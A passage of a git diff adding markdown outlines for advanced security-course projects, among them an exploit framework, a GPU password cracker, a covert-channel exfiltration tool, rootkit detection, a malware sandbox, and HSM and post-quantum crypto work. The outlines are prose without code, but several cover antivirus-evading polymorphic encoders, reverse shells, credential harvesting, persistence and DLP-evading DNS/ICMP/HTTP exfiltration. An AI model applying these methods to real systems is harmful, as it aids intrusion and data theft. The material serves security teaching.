React/Vue frontend with responsive design +- FastAPI/Django REST API backend +- User authentication and RBAC system +- Researcher profile and reputation system +- Vulnerability submission workflow +- Encrypted messaging system +- CVSS calculator and severity mapping +- Payment processing and escrow +- Organization program management +- Analytics and dashboards +- Compliance and audit logging diff --git a/SYNOPSES/advanced/Cloud.Security.Posture.Management.md b/SYNOPSES/advanced/Cloud.Security.Posture.Management.md new file mode 100644 index 00000000..070adb29 --- /dev/null +++ b/SYNOPSES/advanced/Cloud.Security.Posture.Management.md @@ -0,0 +1,47 @@ +# Cloud Security Posture Management (CSPM) + +## Overview +Build a cloud security tool scanning AWS, Azure, and GCP for misconfigurations including public S3 buckets, overly permissive IAM roles, and unencrypted storage, implementing CIS benchmark compliance checking and generating executive dashboards. This project teaches cloud security assessment, compliance frameworks, and demonstrates enterprise CSPM platforms like Dome9 and Prisma Cloud. + +## Step-by-Step Instructions + +1. **Understand cloud misconfigurations and CSPM concepts** by learning common cloud security errors: public S3 buckets exposing data, overly permissive IAM policies granting unnecessary access, unencrypted storage violating compliance requirements, security groups allowing unrestricted inbound traffic, and CloudTrail logging disabled preventing audit trails. Study CIS benchmarks defining best practices for cloud security: AWS CIS benchmark contains 200+ controls, Azure benchmark covers 139 recommendations, GCP benchmark specifies 122 recommendations. Understand CSPM systems continuously monitor cloud environments detecting misconfigurations and compliance violations. + +2. **Implement AWS assessment using boto3** scanning for misconfigurations: enumerate S3 buckets checking public access settings (ACLs, bucket policies), examine IAM policies identifying overly permissive roles (wildcard actions, resource permissions), audit security groups checking for unrestricted (0.0.0.0/0) inbound rules, verify encryption configurations (KMS for data at rest, TLS for data in transit), check CloudTrail logging enabled with log file integrity validation, audit VPC flow logs and VPC endpoints. Build assessment engine checking each resource category systematically. + +3. **Create Azure assessment using Azure SDK** analyzing Azure misconfigurations: examine Storage Accounts checking for public access and encryption, audit Managed Identities and RBAC role assignments identifying excessive permissions, check Network Security Groups and Application Security Groups for open ports, verify databases are encrypted and auditing enabled, check Key Vault access policies, audit subscription-level security settings. Implement similar systematic assessment across Azure resource types. + +4. **Build GCP assessment using Google Cloud SDK** scanning GCP for issues: examine Cloud Storage buckets checking IAM bindings for public access, audit IAM roles and custom roles for overly permissive permissions, check Compute Engine firewalls for unrestricted access, verify encryption settings on databases and storage, check Cloud Audit Logs are enabled and retention appropriate. Implement service-specific assessment for each GCP offering. + +5. **Implement CIS benchmark compliance checking** mapping cloud configurations to CIS requirements: for each CIS control, determine what cloud configuration audit is needed, implement automated checking, and map findings to specific controls. Compute compliance score: percentage of controls passed. Build multiple baseline profiles (strict for regulated industries, moderate for general business, development for non-production) allowing different compliance levels for different environments. + +6. **Create risk scoring and prioritization** combining multiple findings into comprehensive risk assessment: score each finding based on severity (critical/high/medium/low), exploitability, and business impact. Identify high-risk patterns: multiple misconfigurations in same area, sensitive resources with excessive permissions, or known attack vectors. Prioritize remediation recommendations based on risk scores: address critical findings immediately, schedule medium findings for next sprint. + +7. **Build executive dashboards and reporting** creating visibility into cloud security posture: show overall compliance percentage, break down by cloud provider and resource type, display trend data showing improvement/degradation over time, create geographic maps showing misconfigurations by region. Generate detailed reports for technical teams listing specific misconfigurations with remediation steps. Build executive summaries showing risk scores and compliance metrics suitable for C-level and board presentations. + +8. **Implement automated remediation recommendations and workflow** providing actionable fixes: for each misconfiguration, generate recommended changes (Terraform code snippets, CloudFormation templates, or step-by-step instructions). Implement approval workflow where security team reviews recommendations before implementation, then automate remediation through infrastructure-as-code tooling. Create continuous scanning: re-assess on schedule (hourly, daily) detecting configuration drift and new misconfigurations. Compare your CSPM to commercial solutions (Dome9, Prisma Cloud, CloudMapper), discuss limitations (requires significant API permissions, covers configuration but not behavior, needs to complement other security tools), and explain integration into broader cloud security strategies. + +## Key Concepts to Learn +- Cloud provider APIs and SDKs +- Cloud misconfigurations and risks +- CIS benchmark framework +- IAM policy analysis +- Network security assessment +- Encryption validation +- Compliance scoring and reporting +- Risk prioritization methodology +- Automated remediation +- Multi-cloud assessment + +## Deliverables +- AWS configuration assessment +- Azure configuration assessment +- GCP configuration assessment +- CIS benchmark compliance checking +- IAM policy analysis and scoring +- Network security configuration audit +- Encryption validation across services +- Risk scoring and prioritization +- Executive dashboards +- Technical remediation reports +- Automated remediation workflows diff --git a/SYNOPSES/advanced/Distributed.Password.Cracker.md b/SYNOPSES/advanced/Distributed.Password.Cracker.md new file mode 100644 index 00000000..0458f3a7 --- /dev/null +++ b/SYNOPSES/advanced/Distributed.Password.Cracker.md @@ -0,0 +1,46 @@ +# Distributed Password Cracker + +## Overview +Build a distributed password cracking system coordinating GPU-accelerated cracking across multiple machines using job queuing and load balancing, supporting various hash algorithms and providing real-time progress monitoring. This project teaches distributed systems, GPU computing, and demonstrates techniques used in large-scale password recovery operations. + +## Step-by-Step Instructions + +1. **Understand distributed computing and GPU acceleration for password cracking** by learning that password cracking is computationally expensive (billions of hashes tested), GPU acceleration provides 10-100x speedup vs. CPU, and distributing across multiple machines provides linear scaling. Study GPU programming: CUDA for NVIDIA GPUs, OpenCL for cross-platform support. Research distributed job frameworks: Redis queues, RabbitMQ for task distribution, and database backends for state tracking. Understand hash algorithm GPU implementations and their limitations. + +2. **Implement GPU-accelerated hash computation** using CUDA or OpenCL: implement MD5, SHA1, SHA256, bcrypt hashing on GPU, testing performance (throughput measured in hashes-per-second). Build custom CUDA kernels optimizing for specific algorithms: batch hashing multiple password candidates in parallel, minimize memory transfers between CPU and GPU (primary bottleneck), and optimize memory layout for cache efficiency. Benchmark performance improvements vs. CPU implementations. + +3. **Build distributed job queue system** coordinating cracking jobs across worker machines: implement job submission accepting target hashes, algorithm type, and cracking method (dictionary, brute-force, pattern-based). Create job queue (Redis/RabbitMQ) distributing jobs to available workers, assign sub-ranges of password space to different workers (e.g., worker 1 tries AAA-AAZ, worker 2 tries ABA-ABZ) preventing duplicate work. Track job progress: estimate time remaining, track found hashes, detect stalled workers. + +4. **Create load balancing and worker management** distributing work efficiently: dynamically assign jobs to workers based on GPU availability and current load, implement health checking detecting failed workers, redistribute their work to other workers. Implement worker registration: workers report GPU type, hashrate, and availability. Build priority queuing: high-value hashes (system accounts, important users) processed first. + +5. **Implement multiple cracking strategies** supporting different attack types: dictionary attacks (hash wordlist, compare hashes), brute-force (generate all character combinations), pattern-based cracking (common patterns like "Password123"), and rainbow table integration (hash precomputed passwords). Allow strategy combination: try common passwords first (fast), then brute-force if unsuccessful. Implement ruleset application: take base words and apply transformations (l33t speak, capitalization variations). + +6. **Build progress monitoring and real-time dashboards** tracking cracking operation: show job status (queued, in-progress, completed), display worker statistics (hashes/sec, current assignment, GPU temperature), track found passwords with confidence scores, estimate time-to-completion. Implement logging capturing all hashes cracked, timestamps, and worker information. Create alerts when high-value passwords recovered or unusual activity detected. + +7. **Create result database and post-processing** storing and analyzing cracking results: maintain database of recovered passwords, hash types, and algorithms. Implement breach analysis: correlate recovered passwords with user accounts, identify commonly used passwords suggesting weak password policies, detect password patterns (seasons, names, numbers). Generate reports showing password strength distribution and policy violations. + +8. **Build comprehensive documentation** explaining distributed cracking methodology, GPU programming basics (not requiring deep CUDA knowledge), and cluster setup/configuration. Discuss ethical and legal considerations: password cracking is illegal without authorization (own systems or explicit permission), explain legitimate uses (recovering lost passwords, security assessments with authorization). Provide security recommendations: strong password policies, salted hashing (bcrypt/argon2), multi-factor authentication reducing password compromise impact. Compare to commercial password recovery tools (Hashcat, John the Ripper), discuss limitations (some algorithms (bcrypt, argon2) deliberately slow down cracking making distributed systems less effective), and explain integration into incident response when recovering compromised credentials. + +## Key Concepts to Learn +- GPU programming and CUDA/OpenCL +- Distributed job queuing and scheduling +- Load balancing and worker management +- Password attack methodologies +- GPU performance optimization +- Redis/RabbitMQ for task distribution +- Real-time monitoring and progress tracking +- Database design for cracking results +- Password analysis and reporting + +## Deliverables +- GPU-accelerated hash computation +- CUDA/OpenCL kernel implementations +- Redis or RabbitMQ job queue +- Distributed worker coordination +- Load balancing and health checking +- Dictionary attack implementation +- Brute-force generation and optimization +- Pattern-based attack strategies +- Real-time progress dashboards +- Results database and analysis +- Password strength reporting diff --git a/SYNOPSES/advanced/Exploit.Development.Framework.md b/SYNOPSES/advanced/Exploit.Development.Framework.md new file mode 100644 index 00000000..5b22f4a9 --- /dev/null +++ b/SYNOPSES/advanced/Exploit.Development.Framework.md @@ -0,0 +1,44 @@ +# Custom Exploit Development Framework + +## Overview +Build a modular exploitation framework where each vulnerability is implemented as a plugin, supporting payload generation, shellcode encoding, and target validation. This project teaches exploit development, payload crafting, and demonstrates core functionality of frameworks like Metasploit used in penetration testing and security research. + +## Step-by-Step Instructions + +1. **Understand exploit development methodology and framework architecture** by learning that exploits follow general pattern: reconnaissance (target identification and vulnerability confirmation), exploit delivery (trigger vulnerability), payload execution (execute attacker code), and post-exploitation (maintain access, exfiltrate data). Study framework architecture: modular design with separate exploit plugins, payload generators, encoder chains, and delivery mechanisms enables code reuse and rapid exploitation development. Research existing frameworks (Metasploit, Exploit Pack, Canvas) understanding their architecture and capabilities. + +2. **Implement core framework architecture** with plugin system: create base exploit class defining interface all exploits must implement (check method validating target is vulnerable, exploit method executing actual attack). Implement plugin loader discovering exploit files and instantiating exploit objects. Build configuration management: command-line interface or configuration file specifying target, payload, encoding, and other options. Create logging and output systems tracking exploitation attempts and results. + +3. **Build payload generation system** that supports multiple payload types: create command execution payloads (shell commands executed on target), reverse shell payloads (connect back to attacker), bind shell payloads (listen on target accepting incoming connections), meterpreter payloads (advanced multi-function agents), and staged payloads (small initial payload downloads full payload). Implement payload architecture supporting different languages/platforms: Windows executables, Linux ELF binaries, PowerShell scripts, JavaScript, etc. + +4. **Create shellcode encoder chains** that transform raw shellcode into deliverable format: implement encoders avoiding bad characters (null bytes prevent string-based overflow payloads, specific characters might be filtered), implementing encryption (encode shellcode then execute decoder on target), and obfuscation (evade antivirus/IDS detection). Build encoder combinations: chain multiple encoders for defense-in-depth encoding. Support polymorphic encoding: each encoded output differs even with same input, evading signature-based detection. + +5. **Implement target validation and scanning** determining whether exploitation is applicable: build probe functions checking target vulnerability (does service run vulnerable version), build fingerprinting identifying target characteristics (OS, installed software, network configuration). Support automated scanning discovering vulnerable targets in networks, allowing batch exploitation. Implement safeguards preventing exploitation of unintended targets (verification prompts, IP range validation). + +6. **Build exploit plugin library** starting with common vulnerabilities: implement exploits for well-known CVEs (Heartbleed, EternalBlue, WannaCry-related, etc.), support common vulnerability types (buffer overflows, SQL injection, command injection). Each exploit plugin contains: vulnerability description, affected versions, exploitation logic, and recommended payloads. Create documentation templates for exploit development enabling security researchers to add new exploits. + +7. **Implement post-exploitation capabilities** enabling actions after gaining access: build command execution modules (execute arbitrary commands on compromised system), file transfer modules (upload/download files), system enumeration (gather system information), credential harvesting (dump passwords from memory), and persistence mechanisms (establish backdoors). Create chaining allowing multi-stage attacks (initial exploit → pivot to other systems → exfiltrate data). + +8. **Build comprehensive documentation with usage examples** explaining exploit development methodology, payload generation techniques, and encoder usage. Provide ethical guidelines emphasizing this is for authorized testing only, include legal warnings about unauthorized computer access. Create tutorials for developing new exploit plugins, provide examples of exploitation workflows (reconnaissance → scanning → target selection → exploitation), and include incident response considerations. Compare your framework to Metasploit discussing architectural decisions, limitations (smaller scope but potentially more customizable), and intended use cases (focused security research vs. general penetration testing framework). + +## Key Concepts to Learn +- Exploit development and vulnerability analysis +- Plugin architecture and modularity +- Payload generation and encoding +- Shellcode and binary instrumentation +- Target scanning and fingerprinting +- Encoding chains and polymorphism +- Post-exploitation methodology +- Framework command interface + +## Deliverables +- Core framework with plugin system +- Base exploit class and plugin loader +- Payload generator supporting multiple types +- Shellcode encoder with chaining support +- Polymorphic encoding implementation +- Target scanning and fingerprinting +- Exploit plugin library with common CVEs +- Post-exploitation module suite +- Command execution and file transfer +- Comprehensive documentation and examples diff --git a/SYNOPSES/advanced/Hardware.Security.Module.Emulator.md b/SYNOPSES/advanced/Hardware.Security.Module.Emulator.md new file mode 100644 index 00000000..580780b7 --- /dev/null +++ b/SYNOPSES/advanced/Hardware.Security.Module.Emulator.md @@ -0,0 +1,47 @@ +# Hardware Security Module (HSM) Emulator + +## Overview +Build a software emulation of hardware security modules providing secure key storage, cryptographic operations, and PKCS#11 interface for application integration, demonstrating HSM functionality for development and testing. This project teaches cryptographic key management, HSM concepts, and demonstrates secure cryptographic operations interface standards. + +## Step-by-Step Instructions + +1. **Understand Hardware Security Modules and PKCS#11** by learning that HSMs are specialized hardware protecting cryptographic keys: keys never leave HSM unencrypted, operations performed inside HSM, and no direct key access possible. Study HSM use cases: SSL/TLS certificate management, code signing, payment processing, and high-security banking applications. Research PKCS#11 (Cryptoki) standard interface for cryptographic devices: tokens (HSM instances), objects (keys, certificates), sessions (user interactions), and mechanisms (algorithms). Understand advantages: PKCS#11 standardizes interface across hardware vendors enabling portable applications. + +2. **Implement secure key storage** with encryption and protection: store keys in encrypted format using master key (derived from password/seed), implement access control (require authentication before using keys), track key metadata (creation date, usage count, algorithm, restrictions). Build key backup/recovery: enable secure recovery of lost keys while maintaining security. Implement key rotation: periodically generate new keys, retire old ones. + +3. **Build PKCS#11 interface implementation** supporting standard API: implement C_Initialize/C_Finalize (session management), C_OpenSession/C_CloseSession, C_Login/C_Logout (authentication), C_CreateObject/C_DestroyObject (key management), and C_Sign/C_Verify operations (cryptographic operations). Support common mechanisms: AES encryption, RSA signing/encryption, HMAC generation. Enable applications using PKCS#11 libraries to work with your emulator. + +4. **Implement cryptographic operations** with secure implementation: support symmetric cryptography (AES-256), asymmetric cryptography (RSA, ECDSA), hash functions, and HMAC. Implement secure random generation using cryptographically strong randomness. Ensure constant-time implementations preventing timing attacks leaking information through execution time. + +5. **Create multi-tenant support** allowing multiple isolated users/tokens: implement token/session isolation ensuring users can't access other users' keys, enable role-based access control (admin, user roles with different permissions), and support simultaneous sessions. Build audit logging: log all key operations with user, timestamp, and operation type for compliance. + +6. **Build object management** creating and managing keys and certificates: support creation of symmetric keys (AES), asymmetric key pairs (RSA, ECDSA), and X.509 certificates. Implement key attributes: usage restrictions (can use key only for signing, not decryption), algorithm specification, and key size. Support key importation/exportation with encryption protection. + +7. **Implement PIN/password management** for user authentication: implement secure PIN storage using salted hashing (bcrypt, argon2), enforce PIN policies (minimum length, complexity), and support PIN changes. Implement PIN recovery mechanisms securely (don't enable trivial reset). Implement failed login tracking and lockout after N failed attempts. + +8. **Build comprehensive testing interface and documentation** enabling application development against HSM interface: create test/demo applications showing PKCS#11 usage, provide Docker container for easy deployment, document API and supported mechanisms. Compare your emulator to commercial HSM products (Thales, Yubico) discussing differences, limitations (software emulator provides lower security than hardware HSM—keys remain in RAM, not in protected hardware), and use cases (development/testing where hardware HSM too expensive, compliance verification). Include documentation of PKCS#11 standard, HSM security concepts, and cryptographic key management best practices. Discuss integration with applications, TLS termination, and certificate management workflows. + +## Key Concepts to Learn +- Hardware Security Module architecture +- PKCS#11 standard and interface +- Cryptographic key management +- Secure key storage and encryption +- Multi-tenancy and access control +- Audit logging and compliance +- PIN-based authentication +- Object lifecycle management +- Cryptographic operations +- Application integration via PKCS#11 + +## Deliverables +- Encrypted key storage with master key +- PKCS#11 interface implementation +- AES, RSA, ECDSA cryptographic operations +- Session and token management +- User authentication and PIN management +- Multi-tenant isolation +- Audit logging and compliance +- Object creation and lifecycle management +- Key import/export with encryption +- Test applications and documentation +- Docker container deployment diff --git a/SYNOPSES/advanced/Kernel.Rootkit.Detection.md b/SYNOPSES/advanced/Kernel.Rootkit.Detection.md new file mode 100644 index 00000000..046c517b --- /dev/null +++ b/SYNOPSES/advanced/Kernel.Rootkit.Detection.md @@ -0,0 +1,45 @@ +# Kernel Rootkit Detection System + +## Overview +Build a rootkit detection system identifying kernel-level compromises by analyzing system calls, loaded kernel modules, memory structures, and detecting hidden processes/drivers. This project teaches kernel security, runtime rootkit analysis, and demonstrates advanced threat detection techniques used to identify sophisticated attacks. + +## Step-by-Step Instructions + +1. **Understand kernel rootkits and detection methodologies** by learning that rootkits operate at kernel level (highest privilege) enabling them to hide from userspace tools and maintain persistence. Study rootkit capabilities: process hiding (remove entries from process lists), file hiding (intercept filesystem calls), backdoor installation (open network ports), and credentials theft (hook authentication functions). Learn detection approaches: userspace vs. kernel-based detection (kernel-based more reliable since rootkit can't easily hide from kernel), behavioral analysis (monitor system call patterns), and memory analysis (examine kernel structures). + +2. **Implement system call monitoring** detecting rootkit behavior: intercept system calls using kernel hooks or ptrace, analyze patterns for rootkit indicators: unusual process creation, file access to sensitive locations, network activities from unexpected processes. Build system call tracing showing full call stack and parameters. Implement filter rules detecting suspicious patterns while minimizing false positives (legitimate processes make some suspicious calls). + +3. **Build loaded kernel module enumeration and analysis** identifying malicious modules: parse kernel module list (/proc/modules on Linux), extract module name, memory address, and size. Analyze module properties: modules should come from trusted sources (signed), be from known vendors or distribution, have reasonable purposes. Detect rootkit indicators: modules with suspicious names, modules loaded from unusual paths, modules from unknown vendors. Implement module signature verification (some systems support module signing). + +4. **Create memory analysis functionality** examining kernel data structures for rootkit signs: walk process lists (kernel task structures) comparing to userspace view (ps command output), detect missing processes (process hidden in memory but not in userspace listings). Analyze system call table hooks detecting modifications to handler pointers. Examine module loading structures detecting hidden modules (loaded but not listed). Use volatility framework for memory analysis or implement custom kernel structure parsing. + +5. **Implement process and thread analysis** detecting hidden processes: enumerate running processes from kernel structure directly, compare against userspace process list, detect discrepancies indicating hidden processes. Build detailed process analysis: examine loaded libraries, open files/network connections, environment variables, and command line. Create behavioral profiles: normal processes have expected libraries and connections, rootkits often have suspicious characteristics. + +6. **Build network socket analysis** detecting rootkit communications: examine all open sockets from kernel perspective (can detect hidden connections), analyze traffic patterns for C2 communications (periodic beacons, encrypted payloads, known malicious IPs/domains). Correlate network activity with processes: legitimate processes have expected network behavior, rootkit processes often unusual. + +7. **Create integrity verification and anomaly detection** detecting kernel modifications: compute hashes of critical kernel sections, compare against known-good baselines, detect code patches or function hooks. Monitor for dynamic rootkit installation: watch for unusual loading of kernel modules, suspicious memory writes to kernel space, and unexpected system call table modifications. Build anomaly scoring combining multiple detection signals. + +8. **Build detection reporting and response workflows** generating rootkit analysis reports: document detected rootkits with characteristics (type, capabilities, persistence mechanisms), provide IOCs (module names, network connections, file artifacts). Create incident response procedures: isolate affected systems, collect forensic data, notify stakeholders. Discuss evasion and limitations: advanced rootkits may hide detection tools, kernel memory inspection is privilege-escalation target, and detection from within compromised kernel is inherently limited (discuss need for multi-layered detection). Compare to commercial rootkit detection tools, explain integration into host intrusion detection systems (HIDS) and endpoint protection. Include documentation on rootkit evolution and detection challenges. + +## Key Concepts to Learn +- Kernel architecture and privilege levels +- System call hooking and interception +- Kernel data structures and memory analysis +- Module loading and management +- Process and thread enumeration +- Memory integrity checking +- Volatility framework for memory forensics +- Behavioral analysis and anomaly detection +- Incident response for rootkit infections + +## Deliverables +- System call monitoring and analysis +- Kernel module enumeration and analysis +- Memory structure parsing and analysis +- Process hiding detection +- Rootkit signature and behavior detection +- Network socket and communication analysis +- Kernel memory integrity verification +- Hidden driver/module detection +- Comprehensive rootkit detection reporting +- Forensic data collection diff --git a/SYNOPSES/advanced/Malware.Analysis.Platform.md b/SYNOPSES/advanced/Malware.Analysis.Platform.md new file mode 100644 index 00000000..d12b26c5 --- /dev/null +++ b/SYNOPSES/advanced/Malware.Analysis.Platform.md @@ -0,0 +1,48 @@ +# Malware Analysis Platform + +## Overview +Build a comprehensive malware analysis sandbox using Docker/VMs where suspicious files are executed in isolation while monitoring API calls, file system changes, and network traffic, generating detailed behavioral analysis reports with extracted indicators of compromise. This project teaches malware analysis, dynamic analysis techniques, and demonstrates platforms like Cuckoo Sandbox and Joe Sandbox. + +## Step-by-Step Instructions + +1. **Understand malware analysis approaches and sandbox architecture** by learning static analysis (analyzing code without execution, disassembly, string extraction) vs. dynamic analysis (executing code and observing behavior). Study sandbox concepts: isolated environment prevents malware from infecting host systems, monitoring captures malicious activities (what files accessed, what network traffic generated, what registry modified), and analysis produces behavioral indicators. Research existing sandboxes (Cuckoo, Joe Sandbox, Any.run) understanding their capabilities. Learn about evasion techniques malware uses to defeat sandboxes: detecting VMs/sandboxes, requiring user interaction, time-based activation. + +2. **Implement isolated execution environment** using Docker containers or lightweight VMs to execute suspicious files safely: build provisioning pipeline creating clean execution environments, install monitoring tools (API hooking frameworks), start file submission process capturing analysis data. Implement OS-specific execution: Windows executables in Windows sandbox, Linux executables in Linux sandbox, scripts in appropriate interpreters. Destroy execution environment after analysis preventing persistence of malware. + +3. **Build static analysis component** performing pre-execution analysis: extract and display metadata (file type, size, hashes), use YARA rules (pattern matching for known malware signatures) to identify known malware, perform basic code analysis (strings extraction, import table analysis), and cross-reference with malware databases (VirusTotal, Hybrid Analysis). Run static checks identifying obvious suspicious patterns (PE headers indicating packing, encrypted sections, suspicious imports). + +4. **Implement dynamic API call monitoring** tracking what the malware does: use API hooking frameworks (Frida, API Monitor, detours) to intercept Windows API calls, capture parameters and return values. Monitor critical APIs: file operations (CreateFileA, WriteFile), process operations (CreateProcessA, injection attempts), registry operations (RegOpenKeyEx, RegSetValueEx), network operations (socket, connect, send), and system administration (SetWindowsHookEx). Build timeline showing execution sequence: what operations in what order reveals behavioral patterns. + +5. **Create file system and registry monitoring** recording modifications: track all file creation/deletion/modification in sandboxed execution, identify written files and their contents (potential malware payloads, configuration files), record registry key creation/modification detecting persistence mechanisms. Correlate with API monitoring: when file written, trace back to API call that wrote it. Create filesystem change hierarchy showing directory structure and what malware touched. + +6. **Implement network traffic analysis** capturing and analyzing communications: capture network traffic during execution using packet sniffing, extract connection details (destination IPs, domains, ports, protocols), identify DNS queries showing domains the malware contacts (C2 servers), and capture HTTP requests/responses showing command-and-control communication. Implement PCAP (packet capture) storage enabling detailed post-analysis investigation. + +7. **Build comprehensive IOC (Indicator of Compromise) extraction** generating actionable threat intelligence: extract URLs visited (potential C2 infrastructure), extract IP addresses contacted, extract file hashes (identify dropped payloads), extract domain names from DNS queries, extract registry keys created (persistence mechanisms). Deduplicate and normalize IOCs enabling easy integration with security tools (firewalls, IDS, EDR platforms). Cross-reference with threat feeds determining if extracted indicators match known malware infrastructure. + +8. **Create analysis reporting and visualization** generating detailed analysis reports: produce behavioral summary showing what malware did at high level, display full execution timeline with all API calls chronologically ordered, include static analysis findings, show network communications and IOCs. Generate reports in multiple formats (HTML for web viewing, JSON for automation, PDF for documentation). Build dashboard showing analysis status, sample analysis history, and statistical breakdowns (types of malware submitted, top detection signatures, geographic origin of submissions). Compare your platform to commercial sandboxes discussing capabilities and limitations (commercial solutions have larger malware databases, better evasion detection, more sophisticated analysis), explain integration into threat intelligence and incident response workflows. + +## Key Concepts to Learn +- Malware analysis static and dynamic techniques +- Sandbox architecture and isolation +- API hooking and system call monitoring +- File system and registry monitoring +- Network traffic capture and analysis +- YARA rule engine and pattern matching +- IOC extraction and normalization +- Report generation and visualization +- Evasion techniques and detection +- Threat intelligence integration + +## Deliverables +- Docker/VM-based sandbox environment +- File upload and submission workflow +- Static analysis module with YARA support +- API call monitoring and logging +- File system change tracking +- Registry modification monitoring +- Network traffic capture and analysis +- DNS query logging +- Dynamic analysis report generation +- IOC extraction and export +- Malware behavioral classification +- Dashboard and historical analysis tracking diff --git a/SYNOPSES/advanced/Network.Covert.Channel.md b/SYNOPSES/advanced/Network.Covert.Channel.md new file mode 100644 index 00000000..4254783e --- /dev/null +++ b/SYNOPSES/advanced/Network.Covert.Channel.md @@ -0,0 +1,47 @@ +# Network Covert Channel Framework + +## Overview +Build a framework for data exfiltration using covert channels through DNS queries, ICMP packets, and HTTP headers, demonstrating how data can be hidden in legitimate traffic while testing detection capabilities of DLP solutions. This project teaches steganography in network protocols, evasion techniques, and demonstrates data exfiltration methods used by advanced threats. + +## Step-by-Step Instructions + +1. **Understand covert channels and data exfiltration techniques** by learning that covert channels hide information in seemingly legitimate traffic: DNS queries can encode data in subdomains (attacker.exfil.data.com), ICMP echo requests/replies carry payload data, and HTTP headers (User-Agent, Referer) can encode messages. Study detection evasion: steganographic techniques hide data imperceptibly, rate limiting prevents obvious data exfiltration, and traffic mimicking legitimate activity avoids anomaly detection. Research real-world exfiltration: APTs use DNS tunneling, HTTP POST requests, and other covert channels stealing data past network monitoring. + +2. **Implement DNS covert channel** encoding data in DNS queries: build encoder converting binary data to domain names (base32 encoding: data.exfil.attacker.com where data encodes binary payload), send encoded queries through recursive resolver (appears legitimate), build decoder on receiving end reconstructing original data. Implement rate limiting: space queries over time to avoid spike detection. Support multiple encoding schemes: subdomain encoding, query type encoding (TXT, MX, etc.), and response data encoding. + +3. **Create ICMP covert channel** hiding data in ping packets: encode data in ICMP echo request/reply payload field, build ICMP packet construction and transmission, implement decoding extracting data from received packets. Control packet size (larger payloads transfer more data but more suspicious), timing (delay between packets), and sender behavior (legitimate ping behavior patterns). Test against IDS/DLP systems detecting ICMP covert channels. + +4. **Build HTTP header covert channel** exploiting HTTP protocol flexibility: encode data in User-Agent, Referer, X-Forwarded-For, and other headers, send data through normal HTTP requests appearing legitimate. Implement browser behavior simulation (legitimate User-Agents, normal request patterns), randomization (vary request timing and patterns), and steganography (hide encoded data among legitimate header values). Support HTTPS with certificate pinning bypassing interception. + +5. **Implement file-based exfiltration** through document metadata and steganography: hide data in JPEG comments, PDF metadata, Office document properties, or LSB steganography in images. Build document generation with embedded exfiltration data, then distribute through file sharing appearing legitimate. Combine with network covert channels: exfiltrate files through DNS/ICMP containing references or direct file content. + +6. **Create detection evasion and rate limiting** avoiding DLP detection: implement traffic analysis mimicking legitimate user behavior (normal request volumes, realistic timing), add noise (traffic that doesn't contain exfiltrated data), and use data compression (reduce exfiltration volume making detection harder). Build adaptive evasion: monitor network for indicators of detection (firewall rules, alerting), adjust exfiltration method if detection likely. + +7. **Build measurement framework** evaluating covert channel detectability: measure bandwidth (data bytes transmitted per unit time), latency (delay introducing from covert channel), and detectability scores against common DLP systems and anomaly detection algorithms. Implement detection testing: deploy DLP systems and measure their effectiveness. Create comparison of different covert channel techniques showing trade-offs (DNS fast but easily blocked, ICMP slower but less monitored). + +8. **Build comprehensive documentation** explaining covert channel concepts, demonstrating exfiltration techniques, and discussing detection challenges. Emphasize ethical and legal considerations: covert channels facilitate data theft and malware communications (implement only for authorized research, red team exercises with permission, or defensive testing). Provide defensive recommendations: monitor for DNS queries to unusual domains, analyze ICMP traffic patterns, inspect HTTP headers for anomalies, and implement egress filtering restricting outbound traffic. Compare to commercial DLP solutions, discuss detection evasion challenges for defenders, and explain how understanding exfiltration techniques improves security posture. Include examples of real-world covert channel usage in documented APT campaigns. + +## Key Concepts to Learn +- Covert channel concepts and steganography +- DNS protocol exploitation +- ICMP exploitation and tunneling +- HTTP protocol header manipulation +- Network traffic analysis and patterns +- Detection evasion techniques +- Data encoding and compression +- Rate limiting and behavioral mimicking +- DLP system evaluation +- Steganographic principles in network protocols + +## Deliverables +- DNS covert channel encoder/decoder +- Multiple DNS encoding schemes +- ICMP covert channel implementation +- HTTP header covert channel +- File-based exfiltration with steganography +- Rate limiting and traffic mimicking +- Adaptive evasion mechanisms +- Detection measurement framework +- Comparison of channel techniques +- Performance and detectability metrics +- Example proof-of-concept implementations diff --git a/SYNOPSES/advanced/Quantum.Resistant.Encryption.md b/SYNOPSES/advanced/Quantum.Resistant.Encryption.md new file mode 100644 index 00000000..63494535 --- /dev/null +++ b/SYNOPSES/advanced/Quantum.Resistant.Encryption.md @@ -0,0 +1,44 @@ +# Quantum-Resistant Encryption Implementation + +## Overview +Build a post-quantum cryptography library implementing quantum-resistant algorithms like Kyber for key exchange and Dilithium for digital signatures, comparing performance and security properties against classical RSA/AES implementations. This project teaches post-quantum cryptography, forward-looking security design, and demonstrates cryptographic implementation for future-proofing against quantum computing threats. + +## Step-by-Step Instructions + +1. **Understand quantum computing threats and post-quantum cryptography** by learning that quantum computers with sufficient qubits could break RSA and ECC encryption used today: Shor's algorithm can factor large numbers exponentially faster on quantum computers than classical computers, threatening all current public-key cryptography. Post-quantum cryptography uses algorithms believed resistant to quantum attacks based on different mathematical problems: lattice-based (Kyber, Dilithium), multivariate polynomials, hash-based, and isogeny-based cryptography. Research NIST post-quantum standardization process selecting algorithms (Kyber selected for key encapsulation, Dilithium for digital signatures in 2022). + +2. **Implement or integrate Kyber key encapsulation mechanism (KEM)** using existing libraries like `liboqs-python` (open-source post-quantum cryptography library): understand Kyber security: module lattice problem, resistance to known quantum attacks, and performance characteristics. Build key generation (generates public key and private key), encapsulation (sender uses recipient's public key to generate shared secret and ciphertext), and decapsulation (recipient uses private key to recover shared secret). Implement key derivation ensuring shared secrets are suitable for encryption. + +3. **Implement or integrate Dilithium digital signature algorithm** using `liboqs-python`: understand Dilithium provides digital signatures with quantum-resistant security. Build key generation, signing (create signature proving knowledge of private key), and verification (confirm signature validity using public key). Test correctness: sign messages and verify signatures work correctly, ensure tampered signatures fail verification. + +4. **Create hybrid cryptography combining classical and quantum-resistant algorithms** for practical security during transition period: generate both classical RSA/ECDSA and quantum-resistant Dilithium keys, create signatures using both algorithms (either/or or both required). Implement key agreement combining classical Diffie-Hellman with Kyber: compute classical shared secret and quantum-resistant shared secret, combine through KDF (Key Derivation Function) producing composite shared secret. This ensures even if classical crypto is broken later, communication remains secure. + +5. **Build file encryption tool** using hybrid approach: implement AES-256 for bulk data encryption (symmetric crypto used because of performance, quantum computers don't break AES significantly), generate symmetric keys using hybrid key agreement. Sign files with hybrid signatures proving authenticity. Provide intuitive interface for encryption/decryption with key management. + +6. **Implement performance benchmarking** comparing quantum-resistant vs. classical cryptography: measure key generation time, encryption/decryption speed, signature generation/verification time, and key/signature size. Document results: quantum-resistant algorithms typically slower and larger than classical but acceptable for most applications. Create comparison tables and 